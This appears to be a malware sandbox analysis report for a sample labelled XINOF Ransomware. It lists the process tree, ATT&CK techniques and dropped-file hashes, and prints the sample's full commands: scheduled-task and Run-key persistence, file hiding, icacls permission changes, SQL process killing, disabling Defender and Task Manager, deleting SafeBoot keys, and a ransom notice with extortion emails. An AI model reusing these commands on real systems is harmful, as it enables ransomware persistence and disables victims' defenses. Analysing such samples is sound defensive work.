PID 1320 wrote to memory of 912	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 912	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 912	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 912 wrote to memory of 1740	912	cmd.exe	reg.exe
PID 912 wrote to memory of 1740	912	cmd.exe	reg.exe
PID 912 wrote to memory of 1740	912	cmd.exe	reg.exe
PID 912 wrote to memory of 1740	912	cmd.exe	reg.exe
PID 1320 wrote to memory of 1728	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1728	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1728	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1728	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1728 wrote to memory of 1540	1728	cmd.exe	reg.exe
PID 1728 wrote to memory of 1540	1728	cmd.exe	reg.exe
PID 1728 wrote to memory of 1540	1728	cmd.exe	reg.exe
PID 1728 wrote to memory of 1540	1728	cmd.exe	reg.exe
PID 1320 wrote to memory of 792	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 792	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 792	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 792	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 792 wrote to memory of 1176	792	cmd.exe	reg.exe
PID 792 wrote to memory of 1176	792	cmd.exe	reg.exe
PID 792 wrote to memory of 1176	792	cmd.exe	reg.exe
PID 792 wrote to memory of 1176	792	cmd.exe	reg.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

884 attrib.exe

pid	process
884	attrib.exe

C:\Users\Admin\AppData\Local\Temp\e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
"C:\Users\Admin\AppData\Local\Temp\e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe"
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1320

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c chcp 437
2⤵
- Suspicious use of WriteProcessMemory
PID:2004

C:\Windows\SysWOW64\chcp.com
chcp 437
3⤵
PID:1160

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix /TR C:\ProgramData\XINOF.exe /RU SYSTEM /RL HIGHEST /F
2⤵
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /SC ONLOGON /TN fonix /TR C:\ProgramData\XINOF.exe /RU SYSTEM /RL HIGHEST /F
3⤵
- Creates scheduled task(s)
PID:1992

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c copy C:\ProgramData\XINOF.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
2⤵
PID:1972

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c copy C:\ProgramData\XINOF.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
2⤵
PID:1984

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix /TR C:\ProgramData\XINOF.exe /F
2⤵
- Suspicious use of WriteProcessMemory
PID:1968

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /SC ONLOGON /TN fonix /TR C:\ProgramData\XINOF.exe /F
3⤵
- Creates scheduled task(s)
PID:668

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:528

C:\Windows\SysWOW64\attrib.exe
attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
3⤵
- Views/modifies file attributes
PID:884

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f
2⤵
- Suspicious use of WriteProcessMemory
PID:912

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f
3⤵
- Adds Run key to start application
PID:1740

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f
2⤵
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\SysWOW64\reg.exe
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f
3⤵
- Adds Run key to start application
PID:1540

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f
2⤵
- Suspicious use of WriteProcessMemory
PID:792

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f
3⤵
- Adds Run key to start application
PID:1176

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f
2⤵
PID:1872

C:\Windows\SysWOW64\reg.exe
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f
3⤵
- Adds Run key to start application
PID:1776

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix11 /TR "C:\Users\Admin\AppData\Local\Temp\e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe" /RU SYSTEM /RL HIGHEST /F
2⤵
PID:1708

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /SC ONLOGON /TN fonix11 /TR "C:\Users\Admin\AppData\Local\Temp\e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe" /RU SYSTEM /RL HIGHEST /F
3⤵
- Creates scheduled task(s)
PID:1720

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix10 /TR "C:\Users\Admin\AppData\Local\Temp\e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe" /F
2⤵
PID:1784

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /SC ONLOGON /TN fonix10 /TR "C:\Users\Admin\AppData\Local\Temp\e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe" /F
3⤵
- Creates scheduled task(s)
PID:1796

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
2⤵
PID:1724

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
3⤵
PID:1292

C:\Windows\SysWOW64\icacls.exe
icacls * /grant Everyone:(OI)(CI)F /T /C /Q
4⤵
- Modifies file permissions
PID:1888

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
2⤵
PID:1708

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
3⤵
PID:1792

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c start cmd.exe /c taskkill /t /f /im sql*
2⤵
PID:316

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /t /f /im sql*
3⤵
PID:1700

C:\Windows\SysWOW64\taskkill.exe
taskkill /t /f /im sql*
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1792

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Copy Cpriv.key C:\ProgramData\Cpriv.key
2⤵
PID:1328

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Copy Cpub.key C:\ProgramData\Cpub.key
2⤵
PID:784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Copy SystemID C:\ProgramData\SystemID
2⤵
PID:1144

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "XINOF Ransomware Version 3.3" /f
2⤵
PID:1556

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "XINOF Ransomware Version 3.3" /f
3⤵
PID:1256

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportHours /t REG_SZ /d "24 * 7 * 365" /f
2⤵
PID:1668

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportHours /t REG_SZ /d "24 * 7 * 365" /f
3⤵
PID:1492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportPhone /t REG_SZ /d "contact us using this emails satanishere@tutanota.com satanishere@cock.li " /f
2⤵
PID:1016

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportPhone /t REG_SZ /d "contact us using this emails satanishere@tutanota.com satanishere@cock.li " /f
3⤵
PID:1588

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d "ALL Your Files Has Been Encrypted Using XINOF v4.2" /f
2⤵
PID:2040

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d "ALL Your Files Has Been Encrypted Using XINOF v4.2" /f
3⤵
PID:1944

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "All of your files encrypted. If want to recover your files contact me by satanishere@tutanota.com satanishere@cock.li DO NOT reply to other emails. ONLY this two emails can help you." /f
2⤵
PID:1980

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "All of your files encrypted. If want to recover your files contact me by satanishere@tutanota.com satanishere@cock.li DO NOT reply to other emails. ONLY this two emails can help you." /f
3⤵
PID:1976

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
2⤵
PID:452

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
3⤵
PID:1740

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
2⤵
PID:816

C:\Windows\SysWOW64\reg.exe
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
3⤵
PID:896

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
2⤵
PID:604

C:\Windows\SysWOW64\reg.exe
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
3⤵
PID:1708

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
2⤵
PID:940

C:\Windows\SysWOW64\reg.exe
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
3⤵
PID:952

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
2⤵
PID:1036

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
3⤵
PID:1156

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
2⤵
PID:784

C:\Windows\SysWOW64\reg.exe
reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
3⤵
PID:1204

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
2⤵
PID:1660

C:\Windows\SysWOW64\reg.exe
reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
3⤵
PID:1012

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Hidden Files and Directories

1

T1158

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

File Permissions Modification

1

T1222

Modify Registry

1

T1112

Hidden Files and Directories

1

T1158

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Cpriv.key
MD5
8a50f46470d5d66adfbaad25273cca78

SHA1
739d44d4d7bcf05e0a5ded7ffd956b767645ae1f

SHA256
f35d5dbabd12c4e6b9f0922f7e5a1485f1a0c4edcd944a1e6a9091fb2ab15e3e

SHA512
efbdd690db2663eed98886a88ad2d7b1961d0fbe2cd9de0be8259366141b06c7c2a2f67dc903de167ac769aba727ebd3876bceb7a4aaf8fcbf152d1bf9af0ca9

Download Submit
C:\ProgramData\Cpriv.key
MD5
8a50f46470d5d66adfbaad25273cca78

SHA1
739d44d4d7bcf05e0a5ded7ffd956b767645ae1f

SHA256
f35d5dbabd12c4e6b9f0922f7e5a1485f1a0c4edcd944a1e6a9091fb2ab15e3e

SHA512
efbdd690db2663eed98886a88ad2d7b1961d0fbe2cd9de0be8259366141b06c7c2a2f67dc903de167ac769aba727ebd3876bceb7a4aaf8fcbf152d1bf9af0ca9

Download Submit
C:\ProgramData\Cpub.key
MD5
09f163c9b43d4283829351e125e72b35

SHA1
296fb3e860ed3e89705618bcc6b4a2c47a9ac032

SHA256
e6c3cdf14e4cdc825c915b72f9c7a27c0c7d3ac6bca2807ead403bdda41d348d

SHA512
a0cbfbd48150b26d647957a942f1036017502552c5411d5dcd417979f0490c93a2ff95c9917068dd77874c4f64e8dc771185333ba26c7920aad54c93fbc1ec24

Download Submit
C:\ProgramData\Cpub.key
MD5
09f163c9b43d4283829351e125e72b35

SHA1
296fb3e860ed3e89705618bcc6b4a2c47a9ac032

SHA256
e6c3cdf14e4cdc825c915b72f9c7a27c0c7d3ac6bca2807ead403bdda41d348d

SHA512
a0cbfbd48150b26d647957a942f1036017502552c5411d5dcd417979f0490c93a2ff95c9917068dd77874c4f64e8dc771185333ba26c7920aad54c93fbc1ec24

Download Submit
C:\ProgramData\SystemID
MD5
319af37684c6bfcb63b230ff66d1f4d2

SHA1
ff914474ab073ac3a7144cf7e72bb3a3dece28b9

SHA256
a7b245b7a6cdeba1b622242d8a9277ca2e6bfab7d5be32ad7aac6751f7b44458

SHA512
5e03548d2c7be14ddeab0262e8425ad4c3b1dd9e4227b5daa984af9e11c41f073bd16db8d1a92feb29c17ecfb81f4521184e240b83abcad842d7122e3f130bb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cpriv.key
MD5
8a50f46470d5d66adfbaad25273cca78

SHA1
739d44d4d7bcf05e0a5ded7ffd956b767645ae1f

SHA256
f35d5dbabd12c4e6b9f0922f7e5a1485f1a0c4edcd944a1e6a9091fb2ab15e3e

SHA512
efbdd690db2663eed98886a88ad2d7b1961d0fbe2cd9de0be8259366141b06c7c2a2f67dc903de167ac769aba727ebd3876bceb7a4aaf8fcbf152d1bf9af0ca9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cpub.key
MD5
09f163c9b43d4283829351e125e72b35

SHA1
296fb3e860ed3e89705618bcc6b4a2c47a9ac032

SHA256
e6c3cdf14e4cdc825c915b72f9c7a27c0c7d3ac6bca2807ead403bdda41d348d

SHA512
a0cbfbd48150b26d647957a942f1036017502552c5411d5dcd417979f0490c93a2ff95c9917068dd77874c4f64e8dc771185333ba26c7920aad54c93fbc1ec24

Download Submit
C:\Users\Admin\AppData\Local\Temp\SystemID
MD5
319af37684c6bfcb63b230ff66d1f4d2

SHA1
ff914474ab073ac3a7144cf7e72bb3a3dece28b9

SHA256
a7b245b7a6cdeba1b622242d8a9277ca2e6bfab7d5be32ad7aac6751f7b44458

SHA512
5e03548d2c7be14ddeab0262e8425ad4c3b1dd9e4227b5daa984af9e11c41f073bd16db8d1a92feb29c17ecfb81f4521184e240b83abcad842d7122e3f130bb5

Download Submit
memory/316-171-0x0000000000000000-mapping.dmp

Download
memory/452-193-0x0000000000000000-mapping.dmp

Download
memory/528-8-0x0000000000000000-mapping.dmp

Download
memory/604-200-0x0000000000000000-mapping.dmp

Download
memory/668-7-0x0000000000000000-mapping.dmp

Download
memory/784-175-0x0000000000000000-mapping.dmp

Download
memory/784-207-0x0000000000000000-mapping.dmp

Download
memory/792-14-0x0000000000000000-mapping.dmp

Download
memory/816-195-0x0000000000000000-mapping.dmp

Download
memory/884-9-0x0000000000000000-mapping.dmp

Download
memory/896-198-0x0000000000000000-mapping.dmp

Download
memory/912-10-0x0000000000000000-mapping.dmp

Download
memory/940-203-0x0000000000000000-mapping.dmp

Download
memory/952-204-0x0000000000000000-mapping.dmp

Download
memory/1012-210-0x0000000000000000-mapping.dmp

Download
memory/1016-187-0x0000000000000000-mapping.dmp

Download
memory/1036-205-0x0000000000000000-mapping.dmp

Download
memory/1144-178-0x0000000000000000-mapping.dmp

Download
memory/1156-206-0x0000000000000000-mapping.dmp

Download
memory/1160-1-0x0000000000000000-mapping.dmp

Download
memory/1176-15-0x0000000000000000-mapping.dmp

Download
memory/1204-208-0x0000000000000000-mapping.dmp

Download
memory/1256-183-0x0000000000000000-mapping.dmp

Download
memory/1292-169-0x0000000000000000-mapping.dmp

Download
memory/1292-170-0x0000000000000000-mapping.dmp

Download
memory/1320-199-0x0000000000B00000-0x0000000000B11000-memory.dmp

Filesize
68KB

Download
memory/1320-24-0x0000000000B00000-0x0000000000B11000-memory.dmp

Filesize
68KB

Download
memory/1320-22-0x0000000000B00000-0x0000000000B11000-memory.dmp

Filesize
68KB

Download
memory/1320-23-0x0000000000F10000-0x0000000000F21000-memory.dmp

Filesize
68KB

Download
memory/1328-172-0x0000000000000000-mapping.dmp

Download
memory/1492-185-0x0000000000000000-mapping.dmp

Download
memory/1540-13-0x0000000000000000-mapping.dmp

Download
memory/1556-182-0x0000000000000000-mapping.dmp

Download
memory/1588-188-0x0000000000000000-mapping.dmp

Download
memory/1660-209-0x0000000000000000-mapping.dmp

Download
memory/1668-184-0x0000000000000000-mapping.dmp

Download
memory/1700-197-0x0000000000000000-mapping.dmp

Download
memory/1700-196-0x0000000000000000-mapping.dmp

Download
memory/1708-167-0x0000000000000000-mapping.dmp

Download
memory/1708-18-0x0000000000000000-mapping.dmp

Download
memory/1708-202-0x0000000000000000-mapping.dmp

Download
memory/1720-19-0x0000000000000000-mapping.dmp

Download
memory/1724-166-0x0000000000000000-mapping.dmp

Download
memory/1728-12-0x0000000000000000-mapping.dmp

Download
memory/1740-11-0x0000000000000000-mapping.dmp

Download
memory/1740-194-0x0000000000000000-mapping.dmp

Download
memory/1776-17-0x0000000000000000-mapping.dmp

Download
memory/1784-20-0x0000000000000000-mapping.dmp

Download
memory/1792-201-0x0000000000000000-mapping.dmp

Download
memory/1792-168-0x0000000000000000-mapping.dmp

Download
memory/1796-21-0x0000000000000000-mapping.dmp

Download
memory/1872-16-0x0000000000000000-mapping.dmp

Download
memory/1888-186-0x0000000000000000-mapping.dmp

Download
memory/1944-190-0x0000000000000000-mapping.dmp

Download
memory/1968-6-0x0000000000000000-mapping.dmp

Download
memory/1972-4-0x0000000000000000-mapping.dmp

Download
memory/1976-192-0x0000000000000000-mapping.dmp

Download
memory/1980-191-0x0000000000000000-mapping.dmp

Download
memory/1984-5-0x0000000000000000-mapping.dmp

Download
memory/1992-3-0x0000000000000000-mapping.dmp

Download
memory/2004-0-0x0000000000000000-mapping.dmp

Download
memory/2036-2-0x0000000000000000-mapping.dmp

Download
memory/2040-189-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads